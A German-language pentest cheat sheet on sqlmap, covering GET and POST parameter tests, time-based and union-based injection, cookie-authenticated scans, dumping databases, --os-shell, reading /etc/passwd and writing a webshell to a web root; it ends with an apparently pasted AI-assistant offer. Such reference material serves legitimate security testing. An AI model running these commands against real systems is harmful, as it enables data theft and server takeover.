sqlmap

SQLMap – Übersicht und Anwendung im Pentest

SQLMap ist ein Open-Source-Tool zur automatisierten Erkennung und Ausnutzung von SQL-Injection-Schwachstellen (SQLi) in Webanwendungen. Es unterstützt viele Techniken (z. B. Union-Based, Time-Based Blind) und alle gängigen Datenbanksysteme.


Wann und warum SQLMap verwenden?

SQLMap ist besonders nützlich, wenn:

  • du eine URL oder einen HTTP-Parameter findest, der auf Benutzereingaben reagiert (z. B. id=, search=, user=, item=).

  • du bereits vermutest, dass SQL-Injection möglich ist, aber die Schwachstelle nicht direkt sichtbar ist.

  • du keine Zeit hast, alle SQLi-Techniken manuell durchzuspielen.

  • du systematisch und automatisiert Datenbanken, Benutzerdaten oder OS-Zugriff erhalten willst.


Einstieg: Parameter über URL testen

sqlmap -u "http://zielseite.com/product.php?id=1"

Warum? Weil die URL einen Parameter (id=1) enthält, der sich möglicherweise auf eine Datenbankabfrage auswirkt.


Suchfunktionen gezielt testen

sqlmap -u "http://zielseite.com/search.php?query=test"

Warum? Suchfelder senden oft GET-Parameter wie search=, query=, s=, die direkt in SQL-Abfragen eingebunden werden – ein häufiger Angriffsvektor. Der Platzhalter test hilft SQLMap beim Vergleich zwischen legitimen und manipulierten Anfragen.


POST-Anfragen testen (Formulare, Logins)

sqlmap -u "http://zielseite.com/login.php" --data="username=admin&password=pass" -p username

Wann verwenden? Wenn eine Webseite Daten per Formular sendet (POST-Methode) – etwa bei Logins oder Kommentarfeldern.

Warum? SQLi funktioniert auch in POST-Parametern. Mit --data simulierst du die POST-Anfrage, -p gibt an, welcher Parameter getestet werden soll.


Time-Based Blind SQLi

sqlmap -u "http://zielseite.com/page.php?id=5" --technique=T --dbs

Was ist das? Eine Technik, bei der Verzögerungen (z. B. SLEEP(5)) in der Datenbankantwort erzeugt werden, um zu erkennen, ob SQL-Injection möglich ist – auch wenn es keine sichtbare Ausgabe gibt.

Wann verwenden? Wenn die Anwendung keine Fehlermeldungen oder Ergebnisse zurückgibt, aber du vermutest, dass SQLi existiert (z. B. API-Endpunkte oder JSON-Anfragen).


Union-Based SQLi

sqlmap -u "http://zielseite.com/page.php?id=5" --technique=U --dump

Was ist das? Eine direkte SQL-Injection, bei der UNION SELECT verwendet wird, um zusätzliche Daten in die normale Seite einzuschleusen.

Wann verwenden? Wenn die Anwendung Fehler oder Daten in der Seite darstellt, lässt sich mit Union-Based SQLi schnell viel extrahieren.


Authentifizierte Angriffe

sqlmap -u "http://zielseite.com/account.php?id=3" --cookie="PHPSESSID=abc123"

Warum? Einige SQLi-Schwachstellen sind nur nach Login sichtbar. SQLMap kann mit einem gültigen Cookie (z. B. aus Burp) die Session übernehmen.


OS-Befehle über die Datenbank

sqlmap -u "..." --os-shell

Wann funktioniert das? Wenn die Datenbank Zugriff auf das Betriebssystem hat (z. B. xp_cmdshell bei MSSQL oder sys_exec() bei PostgreSQL).

Warum? Zur Eskalation von SQLi in vollen Systemzugriff (z. B. um Reverse Shells zu legen).

Siehe: Bash Shells


Datei lesen und schreiben

sqlmap -u "..." --file-read="/etc/passwd"
sqlmap -u "..." --file-write=payload.php --file-dest=/var/www/html/payload.php

Wann sinnvoll? Wenn du über SQLi auf das Dateisystem zugreifen willst (z. B. um Konfigurationsdateien oder SSH-Keys zu lesen, oder Webshells hochzuladen).


Zusammenfassung: SQLMap gezielt einsetzen

Ziel
SQLMap-Befehl

Datenbanken erkennen

--dbs

Tabellen & Spalten anzeigen

--tables, --columns

Inhalte extrahieren

--dump

POST-Felder testen

--data="..." -p param

Nur Blind SQLi (z. B. Time-Based)

--technique=T

Nur Union-Based SQLi

--technique=U

Session übernehmen

--cookie="name=wert"

OS-Befehle oder Shell

--os-cmd="ls", --os-shell

Dateien lesen/schreiben

--file-read=, --file-write=, --file-dest=


Wenn du willst, kann ich daraus auch eine GitBook-kompatible Markdown-Datei erzeugen oder die Seite modular aufteilen (Grundlagen, Authentifizierung, Blind SQLi usw.). Sag einfach Bescheid.

Last updated